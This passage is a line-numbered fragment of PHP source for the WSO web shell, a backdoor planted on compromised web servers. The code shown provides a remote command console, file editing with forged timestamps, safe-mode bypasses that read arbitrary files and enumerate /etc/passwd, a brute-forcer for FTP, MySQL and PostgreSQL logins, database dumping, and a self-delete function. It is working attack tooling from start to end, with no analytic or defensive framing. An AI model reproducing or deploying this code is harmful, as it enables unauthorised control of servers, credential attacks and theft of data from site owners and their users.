631 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
632 $l = $l?0:1;
633 }
634 echo "<tr><td colspan=7>
635 <input type=hidden name=a value='FilesMan'>
636 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
637 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
638 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
639 if(class_exists('ZipArchive'))
640 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
641 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
642 echo "<option value='paste'>Paste / zip</option>";
643 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
644 wsoFooter();
645}
646
647function actionStringTools() {
648 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
649 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
650 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
651 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
652 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
653 $stringTools = array(
654 'Base64 encode' => 'base64_encode',
655 'Base64 decode' => 'base64_decode',
656 'Url encode' => 'urlencode',
657 'Url decode' => 'urldecode',
658 'Full urlencode' => 'full_urlencode',
659 'md5 hash' => 'md5',
660 'sha1 hash' => 'sha1',
661 'crypt' => 'crypt',
662 'CRC32' => 'crc32',
663 'ASCII to HEX' => 'ascii2hex',
664 'HEX to ASCII' => 'hex2ascii',
665 'HEX to DEC' => 'hexdec',
666 'HEX to BIN' => 'hex2bin',
667 'DEC to HEX' => 'dechex',
668 'DEC to BIN' => 'decbin',
669 'BIN to HEX' => 'binhex',
670 'BIN to DEC' => 'bindec',
671 'String to lower case' => 'strtolower',
672 'String to upper case' => 'strtoupper',
673 'Htmlspecialchars' => 'htmlspecialchars',
674 'String length' => 'strlen',
675 );
676 if(isset($_POST['ajax'])) {
677 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
678 ob_start();
679 if(in_array($_POST['p1'], $stringTools))
680 echo $_POST['p1']($_POST['p2']);
681 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
682 echo strlen($temp), "\n", $temp;
683 exit;
684 }
685 wsoHeader();
686 echo '<h1>String conversions</h1><div class=content>';
687 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
688 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
689 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
690 foreach($stringTools as $k => $v)
691 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
692 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
693 if(!empty($_POST['p1'])) {
694 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
695 }
696 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
697 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
698 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
699 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
700 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
701 <tr><td></td><td><input type='submit' value='>>'></td></tr>
702 </table></form>";
703
704 function wsoRecursiveGlob($path) {
705 if(substr($path, -1) != '/')
706 $path.='/';
707 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
708 if(is_array($paths)&&@count($paths)) {
709 foreach($paths as $item) {
710 if(@is_dir($item)){
711 if($path!=$item)
712 wsoRecursiveGlob($item);
713 } else {
714 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
715 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
716 }
717 }
718 }
719 }
720 if(@$_POST['p3'])
721 wsoRecursiveGlob($_POST['c']);
722 echo "</div><br><h1>Search for hash:</h1><div class=content>
723 <form method='post' target='_blank' name='hf'>
724 <input type='text' name='hash' style='width:200px;'><br>
725 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
726 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
727 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
728 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
729 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
730 </form></div>";
731 wsoFooter();
732}
733
734function actionFilesTools() {
735 if( isset($_POST['p1']) )
736 $_POST['p1'] = urldecode($_POST['p1']);
737 if(@$_POST['p2']=='download') {
738 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
739 ob_start("ob_gzhandler", 4096);
740 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
741 if (function_exists("mime_content_type")) {
742 $type = @mime_content_type($_POST['p1']);
743 header("Content-Type: ".$type);
744 }
745 $fp = @fopen($_POST['p1'], "r");
746 if($fp) {
747 while(!@feof($fp))
748 echo @fread($fp, 1024);
749 fclose($fp);
750 }
751 }exit;
752 }
753 if( @$_POST['p2'] == 'mkfile' ) {
754 if(!file_exists($_POST['p1'])) {
755 $fp = @fopen($_POST['p1'], 'w');
756 if($fp) {
757 $_POST['p2'] = "edit";
758 fclose($fp);
759 }
760 }
761 }
762 wsoHeader();
763 echo '<h1>File tools</h1><div class=content>';
764 if( !file_exists(@$_POST['p1']) ) {
765 echo 'File not exists';
766 wsoFooter();
767 return;
768 }
769 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
770 if(!$uid) {
771 $uid['name'] = @fileowner($_POST['p1']);
772 $gid['name'] = @filegroup($_POST['p1']);
773 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
774 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
775 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
776 if( empty($_POST['p2']) )
777 $_POST['p2'] = 'view';
778 if( is_file($_POST['p1']) )
779 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
780 else
781 $m = array('Chmod', 'Rename', 'Touch');
782 foreach($m as $v)
783 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
784 echo '<br><br>';
785 switch($_POST['p2']) {
786 case 'view':
787 echo '<pre class=ml1>';
788 $fp = @fopen($_POST['p1'], 'r');
789 if($fp) {
790 while( !@feof($fp) )
791 echo htmlspecialchars(@fread($fp, 1024));
792 @fclose($fp);
793 }
794 echo '</pre>';
795 break;
796 case 'highlight':
797 if( @is_readable($_POST['p1']) ) {
798 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
799 $code = @highlight_file($_POST['p1'],true);
800 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
801 }
802 break;
803 case 'chmod':
804 if( !empty($_POST['p3']) ) {
805 $perms = 0;
806 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
807 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
808 if(!@chmod($_POST['p1'], $perms))
809 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
810 }
811 clearstatcache();
812 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
813 break;
814 case 'edit':
815 if( !is_writable($_POST['p1'])) {
816 echo 'File isn\'t writeable';
817 break;
818 }
819 if( !empty($_POST['p3']) ) {
820 $time = @filemtime($_POST['p1']);
821 $_POST['p3'] = substr($_POST['p3'],1);
822 $fp = @fopen($_POST['p1'],"w");
823 if($fp) {
824 @fwrite($fp,$_POST['p3']);
825 @fclose($fp);
826 echo 'Saved!<br><script>p3_="";</script>';
827 @touch($_POST['p1'],$time,$time);
828 }
829 }
830 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
831 $fp = @fopen($_POST['p1'], 'r');
832 if($fp) {
833 while( !@feof($fp) )
834 echo htmlspecialchars(@fread($fp, 1024));
835 @fclose($fp);
836 }
837 echo '</textarea><input type=submit value=">>"></form>';
838 break;
839 case 'hexdump':
840 $c = @file_get_contents($_POST['p1']);
841 $n = 0;
842 $h = array('00000000<br>','','');
843 $len = strlen($c);
844 for ($i=0; $i<$len; ++$i) {
845 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
846 switch ( ord($c[$i]) ) {
847 case 0: $h[2] .= ' '; break;
848 case 9: $h[2] .= ' '; break;
849 case 10: $h[2] .= ' '; break;
850 case 13: $h[2] .= ' '; break;
851 default: $h[2] .= $c[$i]; break;
852 }
853 $n++;
854 if ($n == 32) {
855 $n = 0;
856 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
857 $h[1] .= '<br>';
858 $h[2] .= "\n";
859 }
860 }
861 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
862 break;
863 case 'rename':
864 if( !empty($_POST['p3']) ) {
865 if(!@rename($_POST['p1'], $_POST['p3']))
866 echo 'Can\'t rename!<br>';
867 else
868 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
869 }
870 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
871 break;
872 case 'touch':
873 if( !empty($_POST['p3']) ) {
874 $time = strtotime($_POST['p3']);
875 if($time) {
876 if(!touch($_POST['p1'],$time,$time))
877 echo 'Fail!';
878 else
879 echo 'Touched!';
880 } else echo 'Bad time format!';
881 }
882 clearstatcache();
883 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
884 break;
885 }
886 echo '</div>';
887 wsoFooter();
888}
889
890function actionSafeMode() {
891 $temp='';
892 ob_start();
893 switch($_POST['p1']) {
894 case 1:
895 $temp=@tempnam($test, 'cx');
896 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
897 echo @file_get_contents($temp);
898 unlink($temp);
899 } else
900 echo 'Sorry... Can\'t open file';
901 break;
902 case 2:
903 $files = glob($_POST['p2'].'*');
904 if( is_array($files) )
905 foreach ($files as $filename)
906 echo $filename."\n";
907 break;
908 case 3:
909 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
910 curl_exec($ch);
911 break;
912 case 4:
913 ini_restore("safe_mode");
914 ini_restore("open_basedir");
915 include($_POST['p2']);
916 break;
917 case 5:
918 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
919 $uid = @posix_getpwuid($_POST['p2']);
920 if ($uid)
921 echo join(':',$uid)."\n";
922 }
923 break;
924 }
925 $temp = ob_get_clean();
926 wsoHeader();
927 echo '<h1>Safe mode bypass</h1><div class=content>';
928 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
929 if($temp)
930 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
931 echo '</div>';
932 wsoFooter();
933}
934
935function actionConsole() {
936 if(isset($_POST['ajax'])) {
937 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
938 ob_start();
939 echo "document.cf.cmd.value='';\n";
940 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
941 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
942 if(@chdir($match[1])) {
943 $GLOBALS['cwd'] = @getcwd();
944 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
945 }
946 }
947 echo "document.cf.output.value+='".$temp."';";
948 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
949 $temp = ob_get_clean();
950 echo strlen($temp), "\n", $temp;
951 exit;
952 }
953 wsoHeader();
954 echo "<script>
955if(window.Event) window.captureEvents(Event.KEYDOWN);
956var cmds = new Array('');
957var cur = 0;
958function kp(e) {
959 var n = (window.Event) ? e.which : e.keyCode;
960 if(n == 38) {
961 cur--;
962 if(cur>=0)
963 document.cf.cmd.value = cmds[cur];
964 else
965 cur++;
966 } else if(n == 40) {
967 cur++;
968 if(cur < cmds.length)
969 document.cf.cmd.value = cmds[cur];
970 else
971 cur--;
972 }
973}
974function add(cmd) {
975 cmds.pop();
976 cmds.push(cmd);
977 cmds.push('');
978 cur = cmds.length-1;
979}
980</script>";
981 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
982 foreach($GLOBALS['aliases'] as $n => $v) {
983 if($v == '') {
984 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
985 continue;
986 }
987 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
988 }
989 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
990 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
991 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
992 if(!empty($_POST['p1'])) {
993 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
994 }
995 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
996 echo '</form></div><script>document.cf.cmd.focus();</script>';
997 wsoFooter();
998}
999
1000function actionLogout() {
1001 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1002 die('bye!');
1003}
1004
1005function actionSelfRemove() {
1006
1007 if($_POST['p1'] == 'yes')
1008 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1009 die('Shell has been removed');
1010 else
1011 echo 'unlink error!';
1012 if($_POST['p1'] != 'yes')
1013 wsoHeader();
1014 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1015 wsoFooter();
1016}
1017
1018function actionBruteforce() {
1019 wsoHeader();
1020 if( isset($_POST['proto']) ) {
1021 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1022 if( $_POST['proto'] == 'ftp' ) {
1023 function bruteForce($ip,$port,$login,$pass) {
1024 $fp = @ftp_connect($ip, $port?$port:21);
1025 if(!$fp) return false;
1026 $res = @ftp_login($fp, $login, $pass);
1027 @ftp_close($fp);
1028 return $res;
1029 }
1030 } elseif( $_POST['proto'] == 'mysql' ) {
1031 function bruteForce($ip,$port,$login,$pass) {
1032 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1033 @mysql_close($res);
1034 return $res;
1035 }
1036 } elseif( $_POST['proto'] == 'pgsql' ) {
1037 function bruteForce($ip,$port,$login,$pass) {
1038 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1039 $res = @pg_connect($str);
1040 @pg_close($res);
1041 return $res;
1042 }
1043 }
1044 $success = 0;
1045 $attempts = 0;
1046 $server = explode(":", $_POST['server']);
1047 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
1048 if($_POST['type'] == 1) {
1049 $temp = @file('/etc/passwd');
1050 if( is_array($temp) )
1051 foreach($temp as $line) {
1052 $line = explode(":", $line);
1053 ++$attempts;
1054 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1055 $success++;
1056 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1057 }
1058 if(@$_POST['reverse']) {
1059 $tmp = "";
1060 for($i=strlen($line[0])-1; $i>=0; --$i)
1061 $tmp .= $line[0][$i];
1062 ++$attempts;
1063 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1064 $success++;
1065 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1066 }
1067 }
1068 }
1069 } elseif($_POST['type'] == 2) {
1070 $temp = @file($_POST['dict']);
1071 if( is_array($temp) )
1072 foreach($temp as $line) {
1073 $line = trim($line);
1074 ++$attempts;
1075 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1076 $success++;
1077 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1078 }
1079 }
1080 }
1081 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1082 }
1083 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1084 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1085 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1086 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1087 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1088 .'<span>Server:port</span></td>'
1089 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1090 .'<tr><td><span>Brute type</span></td>'
1091 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1092 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1093 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1094 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1095 .'<td><input type=text name=login value="root"></td></tr>'
1096 .'<tr><td><span>Dictionary</span></td>'
1097 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1098 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1099 echo '</div><br>';
1100 wsoFooter();
1101}
1102
1103function actionSql() {
1104 class DbClass {
1105 var $type;
1106 var $link;
1107 var $res;
1108 function DbClass($type) {
1109 $this->type = $type;
1110 }
1111 function connect($host, $user, $pass, $dbname){
1112 switch($this->type) {
1113 case 'mysql':
1114 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1115 break;
1116 case 'pgsql':
1117 $host = explode(':', $host);
1118 if(!$host[1]) $host[1]=5432;
1119 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1120 break;
1121 }
1122 return false;
1123 }
1124 function selectdb($db) {
1125 switch($this->type) {
1126 case 'mysql':
1127 if (@mysql_select_db($db))return true;
1128 break;
1129 }
1130 return false;
1131 }
1132 function query($str) {
1133 switch($this->type) {
1134 case 'mysql':
1135 return $this->res = @mysql_query($str);
1136 break;
1137 case 'pgsql':
1138 return $this->res = @pg_query($this->link,$str);
1139 break;
1140 }
1141 return false;
1142 }
1143 function fetch() {
1144 $res = func_num_args()?func_get_arg(0):$this->res;
1145 switch($this->type) {
1146 case 'mysql':
1147 return @mysql_fetch_assoc($res);
1148 break;
1149 case 'pgsql':
1150 return @pg_fetch_assoc($res);
1151 break;
1152 }
1153 return false;
1154 }
1155 function listDbs() {
1156 switch($this->type) {
1157 case 'mysql':
1158 return $this->res = @mysql_list_dbs($this->link);
1159 break;
1160 case 'pgsql':
1161 return $this->res = $this->query("SELECT datname FROM pg_database");
1162 break;
1163 }
1164 return false;
1165 }
1166 function listTables() {
1167 switch($this->type) {
1168 case 'mysql':
1169 return $this->res = $this->query('SHOW TABLES');
1170 break;
1171 case 'pgsql':
1172 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1173 break;
1174 }
1175 return false;
1176 }
1177 function error() {
1178 switch($this->type) {
1179 case 'mysql':
1180 return @mysql_error($this->link);
1181 break;
1182 case 'pgsql':
1183 return @pg_last_error($this->link);
1184 break;
1185 }
1186 return false;
1187 }
1188 function setCharset($str) {
1189 switch($this->type) {
1190 case 'mysql':
1191 if(function_exists('mysql_set_charset'))
1192 return @mysql_set_charset($str, $this->link);
1193 else
1194 $this->query('SET CHARSET '.$str);
1195 break;
1196 case 'pgsql':
1197 return @pg_set_client_encoding($this->link, $str);
1198 break;
1199 }
1200 return false;
1201 }
1202 function loadFile($str) {
1203 switch($this->type) {
1204 case 'mysql':
1205 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1206 break;
1207 case 'pgsql':
1208 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1209 $r=array();
1210 while($i=$this->fetch())
1211 $r[] = $i['file'];
1212 $this->query('drop table wso2');
1213 return array('file'=>implode("\n",$r));
1214 break;
1215 }
1216 return false;
1217 }
1218 function dump($table) {
1219 switch($this->type) {
1220 case 'mysql':
1221 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1222 $create = mysql_fetch_array($res);
1223 echo $create[1].";\n\n";
1224 $this->query('SELECT * FROM `'.$table.'`');
1225 while($item = $this->fetch()) {
1226 $columns = array();
1227 foreach($item as $k=>$v) {
1228 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1229 $columns[] = "`".$k."`";
1230 }
1231 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1232 }
1233 break;
1234 case 'pgsql':
1235 $this->query('SELECT * FROM '.$table);
1236 while($item = $this->fetch()) {
1237 $columns = array();
1238 foreach($item as $k=>$v) {
1239 $item[$k] = "'".addslashes($v)."'";
1240 $columns[] = $k;
1241 }
1242 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1243 }
1244 break;
1245 }
1246 return false;
1247 }
1248 };
1249 $db = new DbClass($_POST['type']);
1250 if(@$_POST['p2']=='download') {
1251 ob_start("ob_gzhandler", 4096);
1252 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1253 $db->selectdb($_POST['sql_base']);
1254 header("Content-Disposition: attachment; filename=dump.sql");
1255 header("Content-Type: text/plain");
1256 foreach($_POST['tbl'] as $v)
1257 $db->dump($v);
1258 exit;
1259 }
1260 wsoHeader();
1261 echo "
1262<h1>Sql browser</h1><div class=content>
1263<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1264<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1265<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1266<td><select name='type'><option value='mysql' ";
1267 if(@$_POST['type']=='mysql')echo 'selected';
1268echo ">MySql</option><option value='pgsql' ";
1269if(@$_POST['type']=='pgsql')echo 'selected';
1270echo ">PostgreSql</option></select></td>
1271<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1272<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1273<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1274 $tmp = "<input type=text name=sql_base value=''>";
1275 if(isset($_POST['sql_host'])){
1276 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1277 switch($_POST['charset']) {
1278 case "Windows-1251": $db->setCharset('cp1251'); break;
1279 case "UTF-8": $db->setCharset('utf8'); break;
1280 case "KOI8-R": $db->setCharset('koi8r'); break;
1281 case "KOI8-U": $db->setCharset('koi8u'); break;
1282 case "cp866": $db->setCharset('cp866'); break;
1283 }
1284 $db->listDbs();
1285 echo "<select name=sql_base><option value=''></option>";
1286 while($item = $db->fetch()) {
1287 list($key, $value) = each($item);
1288 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1289 }
1290 echo '</select>';
1291 }
1292 else echo $tmp;
1293 }else
1294 echo $tmp;
1295 echo "</td>
1296 <td><input type=submit value='>>'></td>
1297 </tr>
1298 </table>
1299 <script>
1300 function st(t,l) {
1301 document.sf.p1.value = 'select';
1302 document.sf.p2.value = t;
1303 if(l!=null)document.sf.p3.value = l;
1304 document.sf.submit();
1305 }
1306 function is() {
1307 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1308 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1309 }
1310 </script>";
1311 if(isset($db) && $db->link){
1312 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1313 if(!empty($_POST['sql_base'])){
1314 $db->selectdb($_POST['sql_base']);
1315 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1316 $tbls_res = $db->listTables();
1317 while($item = $db->fetch($tbls_res)) {
1318 list($key, $value) = each($item);
1319 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1320 $value = htmlspecialchars($value);
1321 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1322 }
1323 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1324 if(@$_POST['p1'] == 'select') {
1325 $_POST['p1'] = 'query';
1326 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1327 $num = $db->fetch();
1328 $num = $num['n'];
1329 echo "<span>".$_POST['p2']."</span> ($num) ";
1330 for($i=0;$i<($num/30);$i++)
